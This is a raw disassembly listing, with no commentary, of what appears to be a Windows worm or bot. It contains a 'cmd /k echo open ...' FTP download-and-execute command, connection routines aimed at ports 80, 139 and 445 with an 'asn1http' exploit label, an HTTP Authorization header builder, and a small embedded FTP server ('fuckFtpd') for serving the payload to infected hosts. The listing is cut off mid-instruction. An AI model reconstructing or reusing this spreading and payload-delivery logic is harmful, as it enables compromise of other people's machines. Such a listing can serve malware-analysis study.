[ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_41F238 call sub_414024 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_41F230 fstp [esp+10h+var_10] call sub_413F02 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_414024 inc eax leave retn sub_403007 endp ; =============== S U B R O U T I N E ======================================= sub_403053 proc near ; CODE XREF: sub_4031F5+24p var_40 = qword ptr -40h mov eax, offset loc_41E2F3 call sub_4144F0 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_4036CA push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403007 cmp [ebp-2Ch], eax pop ecx jnb short loc_403095 push edi push eax lea ecx, [ebp-38h] call sub_403645 loc_403095: ; CODE XREF: sub_403053+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_4031B2 mov ebx, [ebp+10h] loc_4030A4: ; CODE XREF: sub_403053+156j cmp dword ptr [ebp+10h], 3 jb short loc_4030AE push 3 jmp short loc_4030C0 ; --------------------------------------------------------------------------- loc_4030AE: ; CODE XREF: sub_403053+55j cmp dword ptr [ebp+10h], 2 jnz short loc_4030B8 push 2 jmp short loc_4030C0 ; --------------------------------------------------------------------------- loc_4030B8: ; CODE XREF: sub_403053+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4030C1 push 1 loc_4030C0: ; CODE XREF: sub_403053+59j ; sub_403053+63j pop ebx loc_4030C1: ; CODE XREF: sub_403053+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_41F248 fstp [esp+40h+var_40] call sub_41404B pop ecx pop ecx call sub_414024 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_403100 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_403100: ; CODE XREF: sub_403053+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40316E add [ebp-18h], eax loc_403152: ; CODE XREF: sub_403053+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, ds:byte_422794[eax] push eax push 1 call sub_4034C7 inc esi cmp esi, [ebp-1Ch] jb short loc_403152 loc_40316E: ; CODE XREF: sub_403053+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40318C push dword ptr [ebp+14h] call sub_413DB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_403520 mov [ebp-18h], edi loc_40318C: ; CODE XREF: sub_403053+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4031A6 sub esi, [ebp-1Ch] loc_403197: ; CODE XREF: sub_403053+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_4034C7 dec esi jnz short loc_403197 loc_4031A6: ; CODE XREF: sub_403053+13Fj cmp [ebp+10h], edi ja loc_4030A4 push 1 pop ebx loc_4031B2: ; CODE XREF: sub_403053+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_4036CA push ds:dword_41F240 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_403577 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_4036CA mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_403053 endp ; =============== S U B R O U T I N E ======================================= sub_4031F5 proc near ; CODE XREF: sub_4032B0+14Ap mov eax, offset loc_41E310 call sub_4144F0 sub esp, 10h push ebx push esi push edi push offset byte_42E348 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_403053 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_413E5F mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40323F xor bl, bl jmp short loc_403283 ; --------------------------------------------------------------------------- loc_40323F: ; CODE XREF: sub_4031F5+44j mov ecx, [ebp-18h] mov eax, offset dword_41F250 cmp ecx, ebx jnz short loc_40324D mov ecx, eax loc_40324D: ; CODE XREF: sub_4031F5+54j cmp [ebp+18h], ebx jz short loc_403255 mov eax, [ebp+18h] loc_403255: ; CODE XREF: sub_4031F5+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_413B2A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call ds:dword_42F758 cmp eax, esi jz short loc_40327A xor bl, bl jmp short loc_40327C ; --------------------------------------------------------------------------- loc_40327A: ; CODE XREF: sub_4031F5+7Fj mov bl, 1 loc_40327C: ; CODE XREF: sub_4031F5+83j push edi call sub_413ED3 pop ecx loc_403283: ; CODE XREF: sub_4031F5+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_4036CA mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4031F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032B0 proc near ; CODE XREF: sub_405C33+1E6p ; DATA XREF: seg002:off_4236A4o var_624 = byte ptr -624h var_424 = byte ptr -424h var_423 = byte ptr -423h var_395 = byte ptr -395h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 624h and [ebp+var_424], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_423] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_424] push offset sub_422940 push eax call sub_413690 add esp, 0Ch mov eax, offset byte_428290 push eax push eax push ds:dword_42E350 push [ebp+arg_0] call sub_408619 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_395] push 400h push eax call sub_413B2A add eax, 90h push eax lea eax, [ebp+var_424] push eax push 164h lea eax, [ebp+var_24] push offset sub_4227D8 push eax call sub_402AB1 mov ecx, [eax] xor esi, esi mov [ebp+var_8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp+var_4], eax jnz short loc_403356 xor eax, eax jmp loc_4034BA ; --------------------------------------------------------------------------- loc_403356: ; CODE XREF: sub_4032B0+9Dj mov [ebp+var_C], esi loc_403359: ; CODE XREF: sub_4032B0+1A9j test esi, esi jnz loc_40345F push 6 push 1 push 2 call ds:dword_41F1D8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403447 xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call ds:dword_42F708 mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call ds:dword_42F748 mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call ds:dword_42F6B0 cmp eax, 0FFFFFFFFh jz loc_40343C cmp [ebp+arg_A0], 50h jnz short loc_403404 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_4036CA lea eax, [ebp+arg_4] push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_403706 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4031F5 add esp, 1Ch jmp short loc_403439 ; --------------------------------------------------------------------------- loc_403404: ; CODE XREF: sub_4032B0+112j cmp [ebp+arg_A0], 8Bh jnz short loc_40341E push [ebp+var_4] push [ebp+var_8] push ebx call sub_402FB5 jmp short loc_403436 ; --------------------------------------------------------------------------- loc_40341E: ; CODE XREF: sub_4032B0+15Ej cmp [ebp+arg_A0], 1BDh jnz short loc_40343C push [ebp+var_4] push [ebp+var_8] push ebx call sub_402EDB loc_403436: ; CODE XREF: sub_4032B0+16Cj add esp, 0Ch loc_403439: ; CODE XREF: sub_4032B0+152j movzx esi, al loc_40343C: ; CODE XREF: sub_4032B0+105j ; sub_4032B0+178j push ebx call ds:dword_42F7A0 test esi, esi jnz short loc_403452 loc_403447: ; CODE XREF: sub_4032B0+C2j push 3E8h call ds:dword_41F058 ; Sleep loc_403452: ; CODE XREF: sub_4032B0+195j inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_403359 loc_40345F: ; CODE XREF: sub_4032B0+ABj lea ecx, [ebp+var_8] call sub_4028D6 test esi, esi jz short loc_4034B8 lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aAsn1http ; "asn1http" push eax push offset dword_422A04 lea eax, [ebp+var_624] push 200h push eax call sub_413B2A lea eax, [ebp+var_624] push eax call sub_409615 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc ds:dword_4236A8[eax] lea eax, dword_4236A8[eax] loc_4034B8: ; CODE XREF: sub_4032B0+1B9j mov eax, esi loc_4034BA: ; CODE XREF: sub_4032B0+A1j pop edi pop esi pop ebx leave retn sub_4032B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E2D4 loc_4034BF: ; CODE XREF: sub_41E2D4+3j ; seg000:0041E2EDj ... push 1 call sub_4036CA retn ; END OF FUNCTION CHUNK FOR sub_41E2D4 ; =============== S U B R O U T I N E ======================================= sub_4034C7 proc near ; CODE XREF: sub_403053+110p ; sub_403053+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_41F240 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4034E1 call sub_41DE40 loc_4034E1: ; CODE XREF: sub_4034C7+13j test ebx, ebx jbe short loc_403518 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_403645 test al, al jz short loc_403518 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_413630 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_403518: ; CODE XREF: sub_4034C7+1Cj ; sub_4034C7+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4034C7 endp ; =============== S U B R O U T I N E ======================================= sub_403520 proc near ; CODE XREF: sub_403053+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_41F240 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40353A call sub_41DE40 loc_40353A: ; CODE XREF: sub_403520+13j test ebx, ebx jbe short loc_40356F mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_403645 test al, al jz short loc_40356F mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_413690 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40356F: ; CODE XREF: sub_403520+1Cj ; sub_403520+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_403520 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403577 proc near ; CODE XREF: sub_403053+17Cp ; sub_41DE9A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40358F call sub_41E06C loc_40358F: ; CODE XREF: sub_403577+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_4035A1 mov esi, [ebp+arg_8] loc_4035A1: ; CODE XREF: sub_403577+25j cmp edi, ebx jnz short loc_4035C3 push ds:dword_41F240 add esi, ecx mov ecx, edi push esi call sub_40373B push [ebp+arg_4] mov ecx, edi push 0 call sub_40373B jmp short loc_40363C ; --------------------------------------------------------------------------- loc_4035C3: ; CODE XREF: sub_403577+2Cj test esi, esi jbe short loc_403606 cmp esi, eax jnz short loc_403606 mov eax, [ebx+4] test eax, eax jnz short loc_4035D7 mov eax, offset dword_41F250 loc_4035D7: ; CODE XREF: sub_403577+59j cmp byte ptr [eax-1], 0FEh jnb short loc_403606 push 1 mov ecx, edi call sub_4036CA mov eax, [ebx+4] test eax, eax jnz short loc_4035F2 mov eax, offset dword_41F250 loc_4035F2: ; CODE XREF: sub_403577+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40363C ; --------------------------------------------------------------------------- loc_403606: ; CODE XREF: sub_403577+4Ej ; sub_403577+52j ... push 1 push esi mov ecx, edi call sub_403645 test al, al jz short loc_40363C mov eax, [ebx+4] test eax, eax jnz short loc_403620 mov eax, offset dword_41F250 loc_403620: ; CODE XREF: sub_403577+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_413690 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40363C: ; CODE XREF: sub_403577+4Aj ; sub_403577+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_403577 endp ; =============== S U B R O U T I N E ======================================= sub_403645 proc near ; CODE XREF: sub_403053+3Dp ; sub_4034C7+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_403657 call sub_41DE40 loc_403657: ; CODE XREF: sub_403645+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_403680 mov al, [ecx-1] cmp al, dl jz short loc_403680 cmp al, 0FFh jz short loc_403680 cmp edi, edx jnz short loc_4036BB dec al push edx mov [ecx-1], al loc_403675: ; CODE XREF: sub_403645+47j mov ecx, esi call sub_4036CA loc_40367C: ; CODE XREF: sub_403645+4Bj ; sub_403645+52j xor al, al jmp short loc_4036C5 ; --------------------------------------------------------------------------- loc_403680: ; CODE XREF: sub_403645+19j ; sub_403645+20j ... cmp edi, edx jnz short loc_403699 cmp [esp+8+arg_4], dl jz short loc_40368E push 1 jmp short loc_403675 ; --------------------------------------------------------------------------- loc_40368E: ; CODE XREF: sub_403645+43j cmp ecx, edx jz short loc_40367C mov [esi+8], edx mov [ecx], dl jmp short loc_40367C ; --------------------------------------------------------------------------- loc_403699: ; CODE XREF: sub_403645+3Dj cmp [esp+8+arg_4], dl jz short loc_4036B6 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_4036AB cmp eax, edi jnb short loc_4036C3 loc_4036AB: ; CODE XREF: sub_403645+60j push 1 mov ecx, esi call sub_4036CA jmp short loc_4036BB ; --------------------------------------------------------------------------- loc_4036B6: ; CODE XREF: sub_403645+58j cmp [esi+0Ch], edi jnb short loc_4036C3 loc_4036BB: ; CODE XREF: sub_403645+28j ; sub_403645+6Fj push edi mov ecx, esi call sub_4037A2 loc_4036C3: ; CODE XREF: sub_403645+64j ; sub_403645+74j mov al, 1 loc_4036C5: ; CODE XREF: sub_403645+39j pop edi pop esi retn 8 sub_403645 endp ; =============== S U B R O U T I N E ======================================= sub_4036CA proc near ; CODE XREF: sub_403053+1Fp ; sub_403053+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4036F6 mov eax, [esi+4] test eax, eax jz short loc_4036F6 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_4036EF cmp al, 0FFh jz short loc_4036EF dec al mov [ecx], al jmp short loc_4036F6 ; --------------------------------------------------------------------------- loc_4036EF: ; CODE XREF: sub_4036CA+19j ; sub_4036CA+1Dj push ecx call sub_41450F pop ecx loc_4036F6: ; CODE XREF: sub_4036CA+8j ; sub_4036CA+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_4036CA endp ; =============== S U B R O U T I N E ======================================= sub_403706 proc near ; CODE XREF: sub_4032B0+13Ep ; sub_40385F+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_403645 test al, al jz short loc_403734 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_413690 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_403734: ; CODE XREF: sub_403706+12j mov eax, esi pop edi pop esi retn 8 sub_403706 endp ; =============== S U B R O U T I N E ======================================= sub_40373B proc near ; CODE XREF: sub_403577+39p ; sub_403577+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40374E call sub_41E06C loc_40374E: ; CODE XREF: sub_40373B+Cj mov ecx, edi call sub_40385F mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_403764 mov ebx, eax loc_403764: ; CODE XREF: sub_40373B+25j test ebx, ebx jbe short loc_40379A mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_414520 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_403645 test al, al jz short loc_40379A mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40379A: ; CODE XREF: sub_40373B+2Bj ; sub_40373B+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40373B endp ; =============== S U B R O U T I N E ======================================= sub_4037A2 proc near ; CODE XREF: sub_403645+79p mov eax, offset loc_41E31C call sub_4144F0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_4037C8 mov edi, [ebp+8] loc_4037C8: ; CODE XREF: sub_4037A2+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_4037D5 xor eax, eax loc_4037D5: ; CODE XREF: sub_4037A2+2Fj push eax call sub_414855 pop ecx mov [ebp+8], eax jmp short loc_403806 ; --------------------------------------------------------------------------- loc_4037E1: ; DATA XREF: seg001:0041FF04o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_4037F0 xor eax, eax loc_4037F0: ; CODE XREF: sub_4037A2+4Aj push eax call sub_414855 mov [ebp+8], eax pop ecx mov eax, offset loc_403800 retn ; --------------------------------------------------------------------------- loc_403800: ; DATA XREF: sub_4037A2+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_403806: ; CODE XREF: sub_4037A2+3Dj mov eax, [esi+8] test eax, eax jbe short loc_403824 cmp eax, edi jbe short loc_403813 mov eax, edi loc_403813: ; CODE XREF: sub_4037A2+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_413690 add esp, 0Ch loc_403824: ; CODE XREF: sub_4037A2+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_4036CA mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_403844 mov edi, ebx loc_403844: ; CODE XREF: sub_4037A2+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_4037A2 endp ; =============== S U B R O U T I N E ======================================= sub_40385F proc near ; CODE XREF: sub_40373B+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40388C mov al, [esi-1] test al, al jz short loc_40388C cmp al, 0FFh jz short loc_40388C push 1 call sub_4036CA push esi call sub_413DB0 pop ecx push eax push esi mov ecx, edi call sub_403706 loc_40388C: ; CODE XREF: sub_40385F+9j ; sub_40385F+10j ... pop edi pop esi retn sub_40385F endp ; =============== S U B R O U T I N E ======================================= sub_40388F proc near ; DATA XREF: seg002:00421004o test ds:byte_45EAEC, 1 jnz short loc_40389F or ds:byte_45EAEC, 1 loc_40389F: ; CODE XREF: sub_40388F+7j jmp $+5 push offset nullsub_1 call sub_4148D0 pop ecx retn sub_40388F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+8] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp-6DCh] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp-0A6Ch] xor edi, edi push eax push 101h mov [ebp-28h], ebx mov [ebp-18h], ebx mov [ebp-228h], edi mov [ebp-438h], edi call ds:dword_41F1B4 ; WSAStartup push edi call sub_414B64 push eax call sub_4135FF push 0FA00h push 471h call sub_4123FC add esp, 10h mov ds:dword_42E350, eax push edi push ebx push 2 call ds:dword_41F1D8 ; socket mov esi, eax lea eax, [ebp-28h] push 4 push eax push 4 push 0FFFFh push esi mov [ebp-0Ch], esi call ds:dword_41F1B8 ; setsockopt lea eax, [ebp-18h] push eax push 8004667Eh push esi call ds:dword_41F1BC ; ioctlsocket mov ax, word ptr ds:dword_42E350 mov word ptr [ebp-38h], 2 push eax mov [ebp-34h], edi call ds:dword_41F1C0 ; ntohs mov [ebp-36h], ax lea eax, [ebp-38h] push 10h push eax push esi call ds:dword_41F1C4 ; bind test eax, eax jge short loc_403986 mov eax, ebx jmp loc_403EAD ; --------------------------------------------------------------------------- loc_403986: ; CODE XREF: seg000:0040397Dj push 0Ah push esi call ds:dword_41F1C8 ; listen mov [ebp-228h], ebx mov ebx, ds:dword_41F1DC mov [ebp-224h], esi mov [ebp-4], esi loc_4039A4: ; CODE XREF: seg000:004039DDj ; seg000:00403EA5j push 41h lea esi, [ebp-228h] pop ecx lea edi, [ebp-438h] rep movsd xor esi, esi lea eax, [ebp-438h] push esi push esi push esi push eax mov eax, [ebp-4] inc eax push eax call ds:dword_41F1E0 ; select cmp eax, 0FFFFFFFFh jz loc_403EAA xor edi, edi cmp [ebp-4], esi mov [ebp+8], edi jl short loc_4039A4 loc_4039DF: ; CODE XREF: seg000:00403E9Fj xor esi, esi push 64h lea eax, [ebp-29Ch] push esi push eax call sub_413630 push 64h lea eax, [ebp-0ACh] push esi push eax call sub_413630 add esp, 18h lea eax, [ebp-438h] push eax push edi call sub_41E196 ; __WSAFDIsSet test eax, eax jz loc_403E98 cmp edi, [ebp-0Ch] jnz short loc_403A96 lea eax, [ebp-24h] mov dword ptr [ebp-24h], 10h push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-0Ch] call ds:dword_41F1CC ; accept cmp eax, 0FFFFFFFFh jz loc_403E98 xor ecx, ecx cmp [ebp-228h], esi jbe short loc_403A60 lea edx, [ebp-224h] loc_403A50: ; CODE XREF: seg000:00403A5Ej cmp [edx], eax jz short loc_403A60 inc ecx add edx, 4 cmp ecx, [ebp-228h] jb short loc_403A50 loc_403A60: ; CODE XREF: seg000:00403A48j ; seg000:00403A52j cmp ecx, [ebp-228h] jnz short loc_403A7E cmp dword ptr [ebp-228h], 40h jnb short loc_403A7E mov [ebp+ecx*4-224h], eax inc dword ptr [ebp-228h] loc_403A7E: ; CODE XREF: seg000:00403A66j ; seg000:00403A6Fj cmp eax, [ebp-4] jle short loc_403A86 mov [ebp-4], eax loc_403A86: ; CODE XREF: seg000:00403A81j push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx ; dword_41F1DC jmp loc_403E98 ; --------------------------------------------------------------------------- loc_403A96: ; CODE XREF: seg000:00403A1Aj push esi lea eax, [ebp-29Ch] push 64h push eax push edi call ds:dword_41F1D0 ; recv test eax, eax jg short loc_403AFD mov edx, [ebp-228h] xor ecx, ecx cmp edx, esi jbe short loc_403AF1 lea eax, [ebp-224h] loc_403ABD: ; CODE XREF: seg000:00403AC7j cmp [eax], edi jz short loc_403ACB inc ecx add eax, 4 cmp ecx, edx jb short loc_403ABD jmp short loc_403AF1 ; --------------------------------------------------------------------------- loc_403ACB: ; CODE XREF: seg000:00403ABFj dec edx cmp ecx, edx jnb short loc_403AEB lea eax, [ebp+ecx*4-224h] loc_403AD7: ; CODE XREF: seg000:00403AE9j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp-228h] add eax, 4 dec edx cmp ecx, edx jb short loc_403AD7 loc_403AEB: ; CODE XREF: seg000:00403ACEj dec dword ptr [ebp-228h] loc_403AF1: ; CODE XREF: seg000:00403AB5j ; seg000:00403AC9j push edi call ds:dword_41F1D4 ; closesocket jmp loc_403E98 ; --------------------------------------------------------------------------- loc_403AFD: ; CODE XREF: seg000:00403AA9j lea eax, [ebp-334h] push eax lea eax, [ebp-0ACh] push eax lea eax, [ebp-29Ch] push offset aSS_1 ; "%s %s" push eax call sub_414B30 lea eax, [ebp-0ACh] push offset aUser_0 ; "USER" push eax call sub_4139D0 add esp, 18h test eax, eax jnz short loc_403B41 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403B41: ; CODE XREF: seg000:00403B32j lea eax, [ebp-0ACh] push offset aPass ; "PASS" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403B65 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403B65: ; CODE XREF: seg000:00403B56j lea eax, [ebp-0ACh] push offset aSyst ; "SYST" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403B89 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403B89: ; CODE XREF: seg000:00403B7Aj lea eax, [ebp-0ACh] push offset aRest ; "REST" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403BAD push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403BAD: ; CODE XREF: seg000:00403B9Ej lea eax, [ebp-0ACh] push offset off_422C84 push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403BD1 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403BD1: ; CODE XREF: seg000:00403BC2j lea eax, [ebp-0ACh] push offset aType ; "TYPE" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403C0C lea eax, [ebp-334h] push offset aA ; "A" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403C0C push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403C0C: ; CODE XREF: seg000:00403BE6j ; seg000:00403BFDj lea eax, [ebp-0ACh] push offset aType ; "TYPE" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403C47 lea eax, [ebp-334h] push offset aI ; "I" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403C47 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_403E83 ; --------------------------------------------------------------------------- loc_403C47: ; CODE XREF: seg000:00403C21j ; seg000:00403C38j lea eax, [ebp-0ACh] push offset aPasv ; "PASV" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403C95 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp-124h] rep movsd push eax lea eax, [ebp-124h] push eax movsw call sub_413DB0 pop ecx push eax lea eax, [ebp-124h] loc_403C85: ; CODE XREF: seg000:00403CD4j push eax push dword ptr [ebp+8] call ebx ; dword_41F1DC xor esi, esi loc_403C8D: ; CODE XREF: seg000:00403DA4j mov edi, [ebp+8] jmp loc_403E86 ; --------------------------------------------------------------------------- loc_403C95: ; CODE XREF: seg000:00403C5Cj lea eax, [ebp-0ACh] push offset aList ; "LIST" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403CD6 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp-0C4h] rep movsd movsw push eax lea eax, [ebp-0C4h] push eax movsb call sub_413DB0 pop ecx push eax lea eax, [ebp-0C4h] jmp short loc_403C85 ; --------------------------------------------------------------------------- loc_403CD6: ; CODE XREF: seg000:00403CAAj lea eax, [ebp-0ACh] push offset aPort ; "PORT" push eax call sub_4139D0 pop ecx test 